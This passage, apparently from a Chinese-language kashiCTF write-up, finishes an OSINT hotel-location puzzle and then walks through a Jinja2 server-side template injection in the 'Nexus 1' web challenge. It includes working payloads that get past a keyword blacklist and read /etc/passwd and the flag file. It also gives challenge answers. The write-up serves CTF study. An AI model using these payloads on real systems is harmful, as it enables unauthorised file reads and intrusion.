  2. 房间窗户或阳台能直接看到寺庙尖塔
  3. 酒店和寺庙之间距离很近

所以到这一步,解题思路就变成:

  • 以第二张图定位出的街区为中心
  • 在周围找酒店
  • 逐个看酒店公开图片、地图位置和附近地标
  • 找出那个与“窗外正对寺庙尖塔”最吻合的酒店

在这类题里,最常见的误区是:

  • 只看离街景近不近
  • 不看第一张图的“视角匹配度”

真正关键的是:
酒店不仅要在附近,还要能形成第一张图那样的窗外视角。

继续排查后,会发现 HOTEL KAVANA 与线索最吻合:

  • 它位于前面锁定的那片区域附近
  • 周边有寺庙地标
  • 从住宿建筑的视角,存在拍到这种尖塔群的可能
  • 题目要求的是酒店名,最终可规范化成大写下划线格式

因此可以确定答案为:

kashiCTF{HOTEL_KAVANA}

Web

Nexus 1

前端源码非常简单,页面只有一个 POST 表单,唯一可控参数是 message,提交后后端会生成一份“Transmission”内容返回。也就是说,真正的攻击面基本都在服务端对 message 的处理逻辑上,而不是前端。

先用最基础的模板表达式测试:

{{7*7}}

返回结果为:

49

这说明用户输入被服务端当成模板表达式执行了,存在 SSTI。

接着继续做模板指纹识别:

{{cycler}}
{{joiner}}
{{namespace}}

页面分别回显成 jinja2.utils.Cycler、jinja2.utils.Joiner、jinja2.utils.Namespace 相关对象,说明模板引擎就是 Jinja2。

正常情况下,Jinja2 SSTI 常见利用链是:

cycler.__init__.__globals__

再从全局变量里取 __builtins__、os、open 等对象,最终读文件或执行命令。

但是这题直接写:

{{cycler.__init__.__globals__['os']}}

这类 payload 运行不了,说明后端大概率对以下敏感片段做了拦截:

  • __
  • [ ]``[ ]
  • 某些固定危险关键字

所以这里需要换一种写法:

  1. 用 attr() 代替直接点属性
  2. 用 ('_' * 2) 动态拼接出 __xxx__
  3. 用 get() 代替 ['key']

先拿到 cycler.__init__.__globals__:

{{ cycler|attr(('_' * 2) ~ 'init' ~ ('_' * 2))|attr(('_' * 2) ~ 'globals' ~ ('_' * 2)) }}

这一步成功后,页面会显示一个大的全局字典,里面可以看到 __builtins__,说明我们已经从模板对象走进 Python 运行时环境了。

为了先验证文件读链是否打通,可以先读 /etc/passwd:

{{ cycler|attr(('_' * 2) ~ 'init' ~ ('_' * 2))|attr(('_' * 2) ~ 'globals' ~ ('_' * 2))|attr('get')(('_' * 2) ~ 'builtins' ~ ('_' * 2))|attr('get')('open')('/etc/passwd')|attr('read')() }}

页面成功回显 /etc/passwd 内容,说明任意文件读取已经成立。

接下来直接读取 flag 文件:

{{ cycler|attr(('_' * 2) ~ 'init' ~ ('_' * 2))|attr(('_' * 2) ~ 'globals' ~ ('_' * 2))|attr('get')(('_' * 2) ~ 'builtins' ~ ('_' * 2))|attr('get')('open')('/flag.txt')|attr('read')() }}

页面直接回显 flag。

这题本质上是一个 Jinja2 SSTI:

  • message 被服务端直接作为模板内容渲染
  • cycler 这类对象默认暴露在 Jinja2 模板环境中
  • 通过 cycler.__init__.__globals__ 可以进入 Python 全局命名空间
  • 再通过 __builtins__['open'] 读任意文件
  • 因为题目对敏感字符串做了简单黑名单,所以要用:
  • attr() 绕过属性访问限制
  • ('_' * 2) 动态构造双下划线
  • get() 绕过方括号索引拦截